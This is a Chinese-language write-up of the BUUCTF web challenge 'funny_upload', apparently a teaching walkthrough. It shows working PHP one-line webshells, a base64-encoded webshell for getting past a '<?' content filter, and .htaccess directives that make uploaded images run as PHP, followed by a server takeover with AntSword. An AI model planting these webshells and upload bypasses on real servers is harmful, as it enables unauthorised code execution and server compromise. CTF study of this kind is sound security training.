题目简介
-
题目名称:funny_upload
-
题目平台:BUUCTF
-
题目类型:Web
-
考察知识点:
-
文件上传漏洞
解题步骤
1. 首先启动靶机,右击查看一下代码,可以看到前端对上传文件的后缀做了过滤,只允许上传图片文件
function Checkfiles() { var fup = document.getElementById('file'); var fileName = fup.value; var ext = fileName.substring(fileName.lastIndexOf('.') + 1); if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG") { return true; } else { alert("这个文件不好,我不喜欢"); return false; } }
2. 既然只允许上传图片文件,那我们可以上传一个一句话木马文件试一下,内容如下:
GIF89a <script language='php'>@eval($_POST['jia']);</script> <script language='php'>system('cat /flag');</script>
3.同时抓一下包,方便我们接下来的操作
4.系统提示上传成功,并返回了该文件路径,所以接下来我们要做的就是将上传的一句话木马图片变成php文件去执行,可以上传.htaccess文件,内容如下:
SetHandler application/x-httpd-php
5.访问shellGIFA文件,却发现虽然系统把shellGIFA.jpg文件不再当作图片文件处理了,但是页面并没有输出flag,怀疑有可能是高版本的php,禁用了<script language='php'>标签,我们换一个一句话木马试一下
<?php eval(@$_POST['password']);?>
6.结果发现后端对我们的上传内容做了过滤,应该是过滤了<?
字符
7.既然对我们的上传内容做了过滤,那么我们可以想办法绕过,可以通过将一句话木马进行编码的方式:
PD9waHAgZXZhbChAJF9QT1NUWydqaWEnXSk7Pz4=
8.然后在.htaccess中利用伪协议对shell.jpg进行解码[1]
AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"
9.接下来通过蚁剑连接即可成功拿下该服务器的权限,在服务器根目录获取到flag为:Dest0g3{4de779d4-fe81-473a-b236-5c2d1ed025a5}
知识详解
一:如何禁止前端JS运行
如果本题目只在前端的JS中加了后缀过滤,那么我们可以通过禁用浏览器运行JS来阻止过滤。(本方法还可以用来复制那些禁止复制数据的网站内容)
谷歌浏览器禁止JS运行方法:
-
在浏览器中访问chrome://settings/content
-
点击JavaScript->添加,将指定网址添加进去即可
此外,谷歌浏览器还可以通过安装Quick Javascript Switcher插件来禁止JS运行,更加方便快捷
火狐浏览器禁止JS运行方法:
-
在浏览器中访问about:config
-
输入JavaScript,找到找avascript.enabled,点击右侧按钮将其更改为false
注意,当前版本的火狐浏览器不能和谷歌浏览器一样指定网站禁止运行JS,只能全部禁止。
二:eval一句话木马
我们可以通过GET 、POST 、COOKIE
这三种方式向一个网站提交数据,当我们访问我们上传到某网站的一句话木马时,该木马可以用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']
接收我们传递的恶意代码,并把接收的恶意代码传递给一句话木马中执行命令的函数,进而执行命令。所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。
例如:<?php eval(@$_POST['jia']); ?>
其中eval就是执行命令的函数,$_POST['jia']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。[2]
三:绕过<?监测
本题目的后端是对<?字符做了检测,可以通过以下方式绕过
-
通过script标签绕过
GIF89a <script language='php'>@eval($_POST['jia']);</script> <script language='php'>system('cat /flag');</script>
-
通过base64编码绕过(编码后记得解码)
PD9waHAgZXZhbChAJF9QT1NUWydqaWEnXSk7Pz4=
三:.htaccess
.htaccess可以用来实现URL改写,可以通过该文件来定义某个URL如何访问服务器上的某个文件。关于该文件的配置项很多,下面只简单介绍一下我们常用的几个配置项
-
所有的文件全部当作php文件来解析(添加换行防止application过滤)
AddType appli\ cation/x-httpd-php
-
所有的jpg文件全部当作php文件来解析
AddType appli\ cation/x-httpd-php .jpg
-
添加伪协议解码[3](把xxx.jpg进行base64解码后再包含进所有的php页面,xxx.jpg上传时需要进行base64编码,用来绕过一句话木马)
hp_value auto_append_file "php://filter/convert.base64-decode/resource=xxx.jpg"
请登录之后再进行评论